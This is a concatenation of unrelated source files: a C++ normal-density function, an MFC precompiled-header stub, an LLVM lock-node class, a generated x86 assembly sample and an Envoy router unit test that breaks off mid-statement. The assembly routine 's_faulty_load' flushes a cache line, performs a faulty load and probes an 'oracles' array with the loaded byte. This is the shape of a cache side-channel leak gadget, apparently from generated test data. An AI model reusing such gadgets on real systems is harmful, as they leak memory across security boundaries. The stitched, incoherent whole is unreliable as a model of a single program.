* Datum<eT>::sqrt2pi); } } #endif } else { for(uword i=0; i<N; ++i) { const eT sigma = S_ea[i]; const eT tmp = (X_ea[i] - M_ea[i]) / sigma; out_mem[i] = std::exp(eT(-0.5) * (tmp*tmp)) / (sigma * Datum<eT>::sqrt2pi); } } } template<typename eT> inline arma_warn_unused typename enable_if2< (is_real<eT>::value), eT >::result normpdf(const eT x) { const eT out = std::exp(eT(-0.5) * (x*x)) / Datum<eT>::sqrt2pi; return out; } template<typename eT> inline arma_warn_unused typename enable_if2< (is_real<eT>::value), eT >::result normpdf(const eT x, const eT mu, const eT sigma) { const eT tmp = (x - mu) / sigma; const eT out = std::exp(eT(-0.5) * (tmp*tmp)) / (sigma * Datum<eT>::sqrt2pi); return out; } template<typename eT, typename T2, typename T3> inline arma_warn_unused typename enable_if2< (is_real<eT>::value), Mat<eT> >::result normpdf(const eT x, const Base<eT, T2>& M_expr, const Base<eT, T3>& S_expr) { arma_extra_debug_sigprint(); const quasi_unwrap<T2> UM(M_expr.get_ref()); const Mat<eT>& M = UM.M; Mat<eT> out; normpdf_helper(out, x*ones< Mat<eT> >(arma::size(M)), M, S_expr.get_ref()); return out; } template<typename T1> inline arma_warn_unused typename enable_if2< (is_real<typename T1::elem_type>::value), Mat<typename T1::elem_type> >::result normpdf(const Base<typename T1::elem_type, T1>& X_expr) { arma_extra_debug_sigprint(); typedef typename T1::elem_type eT; const quasi_unwrap<T1> UX(X_expr.get_ref()); const Mat<eT>& X = UX.M; Mat<eT> out; normpdf_helper(out, X, zeros< Mat<eT> >(arma::size(X)), ones< Mat<eT> >(arma::size(X))); return out; } template<typename T1> inline arma_warn_unused typename enable_if2< (is_real<typename T1::elem_type>::value), Mat<typename T1::elem_type> >::result normpdf(const Base<typename T1::elem_type, T1>& X_expr, const typename T1::elem_type mu, const typename T1::elem_type sigma) { arma_extra_debug_sigprint(); typedef typename T1::elem_type eT; const quasi_unwrap<T1> UX(X_expr.get_ref()); const Mat<eT>& X = UX.M; Mat<eT> out; normpdf_helper(out, X, mu*ones< Mat<eT> >(arma::size(X)), sigma*ones< Mat<eT> >(arma::size(X))); return out; } template<typename T1, typename T2, typename T3> inline arma_warn_unused typename enable_if2< (is_real<typename T1::elem_type>::value), Mat<typename T1::elem_type> >::result normpdf(const Base<typename T1::elem_type, T1>& X_expr, const Base<typename T1::elem_type, T2>& M_expr, const Base<typename T1::elem_type, T3>& S_expr) { arma_extra_debug_sigprint(); typedef typename T1::elem_type eT; Mat<eT> out; normpdf_helper(out, X_expr.get_ref(), M_expr.get_ref(), S_expr.get_ref()); return out; } //! @}
// stdafx.cpp : source file that includes just the standard includes // stdafx.pch will be the pre-compiled header // stdafx.obj will contain the pre-compiled type information // Copyright (c) Microsoft Corporation. All rights reserved. // // This source code is only intended as a supplement to the // Microsoft Classes Reference and related electronic // documentation provided with the library. // See these sources for detailed information regarding the // Microsoft C++ Libraries products. #include "stdafx.h" #ifdef _ATL_STATIC_REGISTRY #include <statreg.h> #endif
#include "../../include/Nodes/LockNode.h" LockNode::LockNode(const llvm::Instruction * instruction):Node(NodeType::LOCK, instruction) {} bool LockNode::addCorrespondingUnlock(UnlockNode *unlockNode) { if (!unlockNode) { return false; } return correspondingUnlocks_.insert(unlockNode).second; } const std::set<UnlockNode *> &LockNode::correspondingUnlocks() const { return correspondingUnlocks_; } std::set<UnlockNode *> LockNode::correspondingUnlocks() { return correspondingUnlocks_; }
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r14 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x1cc01, %rsi lea addresses_WC_ht+0x127a9, %rdi nop nop add $35790, %rdx mov $14, %rcx rep movsb nop sub %rdx, %rdx lea addresses_D_ht+0x8d21, %r13 xor $32826, %rbx mov (%r13), %r14 nop nop nop nop nop sub $52715, %rbx lea addresses_UC_ht+0x173f1, %rdx nop sub %rbx, %rbx movw $0x6162, (%rdx) nop nop nop nop sub %rsi, %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r14 pop %r13 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r14 push %rax push %rdi push %rsi // Faulty Load lea addresses_WT+0x7261, %r10 clflush (%r10) nop nop nop nop dec %rax vmovups (%r10), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $0, %xmm7, %r14 lea oracles, %rdi and $0xff, %r14 shlq $12, %r14 mov (%rdi,%r14,1), %r14 pop %rsi pop %rdi pop %rax pop %r14 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}} {'src': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False}} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
#include <chrono> #include <cstdint> #include <string> #include "common/buffer/buffer_impl.h" #include "common/common/empty_string.h" #include "common/config/metadata.h" #include "common/config/well_known_names.h" #include "common/http/context_impl.h" #include "common/network/utility.h" #include "common/router/config_impl.h" #include "common/router/router.h" #include "common/tracing/http_tracer_impl.h" #include "common/upstream/upstream_impl.h" #include "test/common/http/common.h" #include "test/mocks/http/mocks.h" #include "test/mocks/local_info/mocks.h" #include "test/mocks/network/mocks.h" #include "test/mocks/router/mocks.h" #include "test/mocks/runtime/mocks.h" #include "test/mocks/ssl/mocks.h" #include "test/mocks/tracing/mocks.h" #include "test/mocks/upstream/mocks.h" #include "test/test_common/environment.h" #include "test/test_common/printers.h" #include "test/test_common/simulated_time_system.h" #include "test/test_common/utility.h" #include "gmock/gmock.h" #include "gtest/gtest.h" using testing::_; using testing::AssertionFailure; using testing::AssertionResult; using testing::AssertionSuccess; using testing::AtLeast; using testing::InSequence; using testing::Invoke; using testing::Matcher; using testing::MockFunction; using testing::NiceMock; using testing::Ref; using testing::Return; using testing::ReturnPointee; using testing::ReturnRef; using testing::SaveArg; namespace Envoy { namespace Router { class TestFilter : public Filter { public: using Filter::Filter; // Filter RetryStatePtr createRetryState(const RetryPolicy&, Http::HeaderMap&, const Upstream::ClusterInfo&, Runtime::Loader&, Runtime::RandomGenerator&, Event::Dispatcher&, Upstream::ResourcePriority) override { EXPECT_EQ(nullptr, retry_state_); retry_state_ = new NiceMock<MockRetryState>(); if (reject_all_hosts_) { // Set up RetryState to always reject the host ON_CALL(*retry_state_, shouldSelectAnotherHost(_)).WillByDefault(Return(true)); } return RetryStatePtr{retry_state_}; } const Network::Connection* downstreamConnection() const override { return &downstream_connection_; } NiceMock<Network::MockConnection> downstream_connection_; MockRetryState* retry_state_{}; bool reject_all_hosts_ = false; }; class RouterTestBase : public testing::Test { public: RouterTestBase(bool start_child_span, bool suppress_envoy_headers) : shadow_writer_(new MockShadowWriter()), config_("test.", local_info_, stats_store_, cm_, runtime_, random_, ShadowWriterPtr{shadow_writer_}, true, start_child_span, suppress_envoy_headers, test_time_.timeSystem(), http_context_), router_(config_) { router_.setDecoderFilterCallbacks(callbacks_); upstream_locality_.set_zone("to_az"); ON_CALL(*cm_.conn_pool_.host_, address()).WillByDefault(Return(host_address_)); ON_CALL(*cm_.conn_pool_.host_, locality()).WillByDefault(ReturnRef(upstream_locality_)); router_.downstream_connection_.local_address_ = host_address_; router_.downstream_connection_.remote_address_ = Network::Utility::parseInternetAddressAndPort("1.2.3.4:80"); // Make the "system time" non-zero, because 0 is considered invalid by DateUtil. test_time_.setMonotonicTime(std::chrono::milliseconds(50)); } void expectResponseTimerCreate() { response_timeout_ = new Event::MockTimer(&callbacks_.dispatcher_); EXPECT_CALL(*response_timeout_, enableTimer(_)); EXPECT_CALL(*response_timeout_, disableTimer()); } void expectPerTryTimerCreate() { per_try_timeout_ = new Event::MockTimer(&callbacks_.dispatcher_); EXPECT_CALL(*per_try_timeout_, enableTimer(_)); EXPECT_CALL(*per_try_timeout_, disableTimer()); } AssertionResult verifyHostUpstreamStats(uint64_t success, uint64_t error) { if (success != cm_.conn_pool_.host_->stats_store_.counter("rq_success").value()) { return AssertionFailure() << fmt::format( "rq_success {} does not match expected {}", cm_.conn_pool_.host_->stats_store_.counter("rq_success").value(), success); } if (error != cm_.conn_pool_.host_->stats_store_.counter("rq_error").value()) { return AssertionFailure() << fmt::format( "rq_error {} does not match expected {}", cm_.conn_pool_.host_->stats_store_.counter("rq_error").value(), error); } return AssertionSuccess(); } void verifyMetadataMatchCriteriaFromRequest(bool route_entry_has_match) { ProtobufWkt::Struct request_struct, route_struct; ProtobufWkt::Value val; // Populate metadata like StreamInfo.setDynamicMetadata() would. auto& fields_map = *request_struct.mutable_fields(); val.set_string_value("v3.1"); fields_map["version"] = val; val.set_string_value("devel"); fields_map["stage"] = val; (*callbacks_.stream_info_.metadata_ .mutable_filter_metadata())[Envoy::Config::MetadataFilters::get().ENVOY_LB] = request_struct; // Populate route entry's metadata which will be overridden. val.set_string_value("v3.0"); fields_map = *request_struct.mutable_fields(); fields_map["version"] = val; MetadataMatchCriteriaImpl route_entry_matches(route_struct); if (route_entry_has_match) { ON_CALL(callbacks_.route_->route_entry_, metadataMatchCriteria()) .WillByDefault(Return(&route_entry_matches)); } else { ON_CALL(callbacks_.route_->route_entry_, metadataMatchCriteria()) .WillByDefault(Return(nullptr)); } EXPECT_CALL(cm_, httpConnPoolForCluster(_, _, _, _)) .WillOnce( Invoke([&](const std::string&, Upstream::ResourcePriority, Http::Protocol, Upstream::LoadBalancerContext* context) -> Http::ConnectionPool::Instance* { auto match = context->metadataMatchCriteria()->metadataMatchCriteria(); EXPECT_EQ(match.size(), 2); auto it = match.begin(); // Note: metadataMatchCriteria() keeps its entries sorted, so the order for checks // below matters. // `stage` was only set by the request, not by the route entry. EXPECT_EQ((*it)->name(), "stage"); EXPECT_EQ((*it)->value().value().string_value(), "devel"); it++; // `version` should be what came from the request, overriding the route entry. EXPECT_EQ((*it)->name(), "version"); EXPECT_EQ((*it)->value().value().string_value(), "v3.1"); // When metadataMatchCriteria() is computed from dynamic metadata, the result should // be cached. EXPECT_EQ(context->metadataMatchCriteria(), context->metadataMatchCriteria()); return &cm_.conn_pool_; })); EXPECT_CALL(cm_.conn_pool_, newStream(_, _)).WillOnce(Return(&cancellable_)); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); // When the router filter gets reset we should cancel the pool request. EXPECT_CALL(cancellable_, cancel()); router_.onDestroy(); } void sendRequest(bool end_stream = true) { if (end_stream) { EXPECT_CALL(callbacks_.dispatcher_, createTimer_(_)).Times(1); } EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke( [&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder_ = &decoder; callbacks.onPoolReady(original_encoder_, cm_.conn_pool_.host_); return nullptr; })); HttpTestUtility::addDefaultHeaders(default_request_headers_); router_.decodeHeaders(default_request_headers_, end_stream); } void enableRedirects() { ON_CALL(callbacks_.route_->route_entry_, internalRedirectAction()) .WillByDefault(Return(InternalRedirectAction::Handle)); ON_CALL(callbacks_, connection()).WillByDefault(Return(&connection_)); } Event::SimulatedTimeSystem test_time_; std::string upstream_zone_{"to_az"}; envoy::api::v2::core::Locality upstream_locality_; Stats::IsolatedStoreImpl stats_store_; NiceMock<Upstream::MockClusterManager> cm_; NiceMock<Runtime::MockLoader> runtime_; NiceMock<Runtime::MockRandomGenerator> random_; Http::ConnectionPool::MockCancellable cancellable_; Http::ContextImpl http_context_; NiceMock<Http::MockStreamDecoderFilterCallbacks> callbacks_; MockShadowWriter* shadow_writer_; NiceMock<LocalInfo::MockLocalInfo> local_info_; FilterConfig config_; TestFilter router_; Event::MockTimer* response_timeout_{}; Event::MockTimer* per_try_timeout_{}; Network::Address::InstanceConstSharedPtr host_address_{ Network::Utility::resolveUrl("tcp://10.0.0.5:9211")}; NiceMock<Http::MockStreamEncoder> original_encoder_; NiceMock<Http::MockStreamEncoder> second_encoder_; NiceMock<Network::MockConnection> connection_; Http::StreamDecoder* response_decoder_ = nullptr; Http::TestHeaderMapImpl default_request_headers_{}; Http::HeaderMapPtr redirect_headers_{ new Http::TestHeaderMapImpl{{":status", "302"}, {"location", "http://www.foo.com"}}}; NiceMock<Tracing::MockSpan> span_; }; class RouterTest : public RouterTestBase { public: RouterTest() : RouterTestBase(false, false) { EXPECT_CALL(callbacks_, activeSpan()).WillRepeatedly(ReturnRef(span_)); }; }; class RouterTestSuppressEnvoyHeaders : public RouterTestBase { public: RouterTestSuppressEnvoyHeaders() : RouterTestBase(false, true) {} }; TEST_F(RouterTest, RouteNotFound) { EXPECT_CALL(callbacks_.stream_info_, setResponseFlag(StreamInfo::ResponseFlag::NoRouteFound)); Http::TestHeaderMapImpl headers; HttpTestUtility::addDefaultHeaders(headers); EXPECT_CALL(callbacks_, route()).WillOnce(Return(nullptr)); router_.decodeHeaders(headers, true); EXPECT_EQ(1UL, stats_store_.counter("test.no_route").value()); EXPECT_TRUE(verifyHostUpstreamStats(0, 0)); } TEST_F(RouterTest, ClusterNotFound) { EXPECT_CALL(callbacks_.stream_info_, setResponseFlag(StreamInfo::ResponseFlag::NoRouteFound)); Http::TestHeaderMapImpl headers; HttpTestUtility::addDefaultHeaders(headers); ON_CALL(cm_, get(_)).WillByDefault(Return(nullptr)); router_.decodeHeaders(headers, true); EXPECT_EQ(1UL, stats_store_.counter("test.no_cluster").value()); EXPECT_TRUE(verifyHostUpstreamStats(0, 0)); } TEST_F(RouterTest, PoolFailureWithPriority) { ON_CALL(callbacks_.route_->route_entry_, priority()) .WillByDefault(Return(Upstream::ResourcePriority::High)); EXPECT_CALL(cm_, httpConnPoolForCluster(_, Upstream::ResourcePriority::High, _, &router_)); EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder&, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { callbacks.onPoolFailure(Http::ConnectionPool::PoolFailureReason::ConnectionFailure, absl::string_view(), cm_.conn_pool_.host_); return nullptr; })); Http::TestHeaderMapImpl response_headers{ {":status", "503"}, {"content-length", "91"}, {"content-type", "text/plain"}}; EXPECT_CALL(callbacks_, encodeHeaders_(HeaderMapEqualRef(&response_headers), false)); EXPECT_CALL(callbacks_, encodeData(_, true)); EXPECT_CALL(callbacks_.stream_info_, setResponseFlag(StreamInfo::ResponseFlag::UpstreamConnectionFailure)); EXPECT_CALL(callbacks_.stream_info_, onUpstreamHostSelected(_)) .WillOnce(Invoke([&](const Upstream::HostDescriptionConstSharedPtr host) -> void { EXPECT_EQ(host_address_, host->address()); })); Http::TestHeaderMapImpl headers; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); EXPECT_TRUE(verifyHostUpstreamStats(0, 1)); } TEST_F(RouterTest, Http1Upstream) { EXPECT_CALL(*cm_.thread_local_cluster_.cluster_.info_, features()); EXPECT_CALL(cm_, httpConnPoolForCluster(_, _, Http::Protocol::Http11, _)); EXPECT_CALL(cm_.conn_pool_, newStream(_, _)).WillOnce(Return(&cancellable_)); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers; HttpTestUtility::addDefaultHeaders(headers); EXPECT_CALL(callbacks_.route_->route_entry_, finalizeRequestHeaders(_, _, true)); EXPECT_CALL(span_, injectContext(_)); router_.decodeHeaders(headers, true); EXPECT_EQ("10", headers.get_("x-envoy-expected-rq-timeout-ms")); // When the router filter gets reset we should cancel the pool request. EXPECT_CALL(cancellable_, cancel()); router_.onDestroy(); EXPECT_TRUE(verifyHostUpstreamStats(0, 0)); } // We don't get x-envoy-expected-rq-timeout-ms or an indication to insert // x-envoy-original-path in the basic upstream test when Envoy header // suppression is configured. TEST_F(RouterTestSuppressEnvoyHeaders, Http1Upstream) { EXPECT_CALL(*cm_.thread_local_cluster_.cluster_.info_, features()); EXPECT_CALL(cm_, httpConnPoolForCluster(_, _, Http::Protocol::Http11, _)); EXPECT_CALL(cm_.conn_pool_, newStream(_, _)).WillOnce(Return(&cancellable_)); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers; HttpTestUtility::addDefaultHeaders(headers); EXPECT_CALL(callbacks_.route_->route_entry_, finalizeRequestHeaders(_, _, false)); router_.decodeHeaders(headers, true); EXPECT_FALSE(headers.has("x-envoy-expected-rq-timeout-ms")); // When the router filter gets reset we should cancel the pool request. EXPECT_CALL(cancellable_, cancel()); router_.onDestroy(); EXPECT_TRUE(verifyHostUpstreamStats(0, 0)); } TEST_F(RouterTest, Http2Upstream) { EXPECT_CALL(*cm_.thread_local_cluster_.cluster_.info_, features()) .WillOnce(Return(Upstream::ClusterInfo::Features::HTTP2)); EXPECT_CALL(cm_, httpConnPoolForCluster(_, _, Http::Protocol::Http2, _)); EXPECT_CALL(cm_.conn_pool_, newStream(_, _)).WillOnce(Return(&cancellable_)); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers; HttpTestUtility::addDefaultHeaders(headers); EXPECT_CALL(span_, injectContext(_)); router_.decodeHeaders(headers, true); // When the router filter gets reset we should cancel the pool request. EXPECT_CALL(cancellable_, cancel()); router_.onDestroy(); EXPECT_TRUE(verifyHostUpstreamStats(0, 0)); } TEST_F(RouterTest, UseDownstreamProtocol1) { absl::optional<Http::Protocol> downstream_protocol{Http::Protocol::Http11}; EXPECT_CALL(*cm_.thread_local_cluster_.cluster_.info_, features()) .WillOnce(Return(Upstream::ClusterInfo::Features::USE_DOWNSTREAM_PROTOCOL)); EXPECT_CALL(callbacks_.stream_info_, protocol()).WillOnce(ReturnPointee(&downstream_protocol)); EXPECT_CALL(cm_, httpConnPoolForCluster(_, _, Http::Protocol::Http11, _)); EXPECT_CALL(cm_.conn_pool_, newStream(_, _)).WillOnce(Return(&cancellable_)); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); // When the router filter gets reset we should cancel the pool request. EXPECT_CALL(cancellable_, cancel()); router_.onDestroy(); EXPECT_TRUE(verifyHostUpstreamStats(0, 0)); } TEST_F(RouterTest, UseDownstreamProtocol2) { absl::optional<Http::Protocol> downstream_protocol{Http::Protocol::Http2}; EXPECT_CALL(*cm_.thread_local_cluster_.cluster_.info_, features()) .WillOnce(Return(Upstream::ClusterInfo::Features::USE_DOWNSTREAM_PROTOCOL)); EXPECT_CALL(callbacks_.stream_info_, protocol()).WillOnce(ReturnPointee(&downstream_protocol)); EXPECT_CALL(cm_, httpConnPoolForCluster(_, _, Http::Protocol::Http2, _)); EXPECT_CALL(cm_.conn_pool_, newStream(_, _)).WillOnce(Return(&cancellable_)); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); // When the router filter gets reset we should cancel the pool request. EXPECT_CALL(cancellable_, cancel()); router_.onDestroy(); EXPECT_TRUE(verifyHostUpstreamStats(0, 0)); } TEST_F(RouterTest, HashPolicy) { ON_CALL(callbacks_.route_->route_entry_, hashPolicy()) .WillByDefault(Return(&callbacks_.route_->route_entry_.hash_policy_)); EXPECT_CALL(callbacks_.route_->route_entry_.hash_policy_, generateHash(_, _, _)) .WillOnce(Return(absl::optional<uint64_t>(10))); EXPECT_CALL(cm_, httpConnPoolForCluster(_, _, _, _)) .WillOnce( Invoke([&](const std::string&, Upstream::ResourcePriority, Http::Protocol, Upstream::LoadBalancerContext* context) -> Http::ConnectionPool::Instance* { EXPECT_EQ(10UL, context->computeHashKey().value()); return &cm_.conn_pool_; })); EXPECT_CALL(cm_.conn_pool_, newStream(_, _)).WillOnce(Return(&cancellable_)); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); // When the router filter gets reset we should cancel the pool request. EXPECT_CALL(cancellable_, cancel()); router_.onDestroy(); EXPECT_TRUE(verifyHostUpstreamStats(0, 0)); } TEST_F(RouterTest, HashPolicyNoHash) { ON_CALL(callbacks_.route_->route_entry_, hashPolicy()) .WillByDefault(Return(&callbacks_.route_->route_entry_.hash_policy_)); EXPECT_CALL(callbacks_.route_->route_entry_.hash_policy_, generateHash(_, _, _)) .WillOnce(Return(absl::optional<uint64_t>())); EXPECT_CALL(cm_, httpConnPoolForCluster(_, _, _, &router_)) .WillOnce( Invoke([&](const std::string&, Upstream::ResourcePriority, Http::Protocol, Upstream::LoadBalancerContext* context) -> Http::ConnectionPool::Instance* { EXPECT_FALSE(context->computeHashKey()); return &cm_.conn_pool_; })); EXPECT_CALL(cm_.conn_pool_, newStream(_, _)).WillOnce(Return(&cancellable_)); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); // When the router filter gets reset we should cancel the pool request. EXPECT_CALL(cancellable_, cancel()); router_.onDestroy(); EXPECT_TRUE(verifyHostUpstreamStats(0, 0)); } TEST_F(RouterTest, HashKeyNoHashPolicy) { ON_CALL(callbacks_.route_->route_entry_, hashPolicy()).WillByDefault(Return(nullptr)); EXPECT_FALSE(router_.computeHashKey().has_value()); } TEST_F(RouterTest, AddCookie) { ON_CALL(callbacks_.route_->route_entry_, hashPolicy()) .WillByDefault(Return(&callbacks_.route_->route_entry_.hash_policy_)); NiceMock<Http::MockStreamEncoder> encoder; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder, cm_.conn_pool_.host_); return &cancellable_; })); EXPECT_CALL(cm_, httpConnPoolForCluster(_, _, _, _)) .WillOnce( Invoke([&](const std::string&, Upstream::ResourcePriority, Http::Protocol, Upstream::LoadBalancerContext* context) -> Http::ConnectionPool::Instance* { EXPECT_EQ(10UL, context->computeHashKey().value()); return &cm_.conn_pool_; })); std::string cookie_value; EXPECT_CALL(callbacks_.route_->route_entry_.hash_policy_, generateHash(_, _, _)) .WillOnce(Invoke([&](const Network::Address::Instance*, const Http::HeaderMap&, const HashPolicy::AddCookieCallback add_cookie) { cookie_value = add_cookie("foo", "", std::chrono::seconds(1337)); return absl::optional<uint64_t>(10); })); EXPECT_CALL(callbacks_, encodeHeaders_(_, _)) .WillOnce(Invoke([&](const Http::HeaderMap& headers, const bool) -> void { EXPECT_EQ(std::string{headers.get(Http::Headers::get().SetCookie)->value().c_str()}, "foo=\"" + cookie_value + "\"; Max-Age=1337; HttpOnly"); })); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); Http::HeaderMapPtr response_headers(new Http::TestHeaderMapImpl{{":status", "200"}}); response_decoder->decodeHeaders(std::move(response_headers), true); // When the router filter gets reset we should cancel the pool request. router_.onDestroy(); } TEST_F(RouterTest, AddCookieNoDuplicate) { ON_CALL(callbacks_.route_->route_entry_, hashPolicy()) .WillByDefault(Return(&callbacks_.route_->route_entry_.hash_policy_)); NiceMock<Http::MockStreamEncoder> encoder; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder, cm_.conn_pool_.host_); return &cancellable_; })); EXPECT_CALL(cm_, httpConnPoolForCluster(_, _, _, _)) .WillOnce( Invoke([&](const std::string&, Upstream::ResourcePriority, Http::Protocol, Upstream::LoadBalancerContext* context) -> Http::ConnectionPool::Instance* { EXPECT_EQ(10UL, context->computeHashKey().value()); return &cm_.conn_pool_; })); EXPECT_CALL(callbacks_.route_->route_entry_.hash_policy_, generateHash(_, _, _)) .WillOnce(Invoke([&](const Network::Address::Instance*, const Http::HeaderMap&, const HashPolicy::AddCookieCallback add_cookie) { // this should be ignored add_cookie("foo", "", std::chrono::seconds(1337)); return absl::optional<uint64_t>(10); })); EXPECT_CALL(callbacks_, encodeHeaders_(_, _)) .WillOnce(Invoke([&](const Http::HeaderMap& headers, const bool) -> void { EXPECT_STREQ(headers.get(Http::Headers::get().SetCookie)->value().c_str(), "foo=baz"); })); expectResponseTimerCreate(); Http::TestHeaderMapImpl headers; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); Http::HeaderMapPtr response_headers( new Http::TestHeaderMapImpl{{":status", "200"}, {"set-cookie", "foo=baz"}}); response_decoder->decodeHeaders(std::move(response_headers), true); // When the router filter gets reset we should cancel the pool request. router_.onDestroy(); } TEST_F(RouterTest, AddMultipleCookies) { ON_CALL(callbacks_.route_->route_entry_, hashPolicy()) .WillByDefault(Return(&callbacks_.route_->route_entry_.hash_policy_)); NiceMock<Http::MockStreamEncoder> encoder; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = 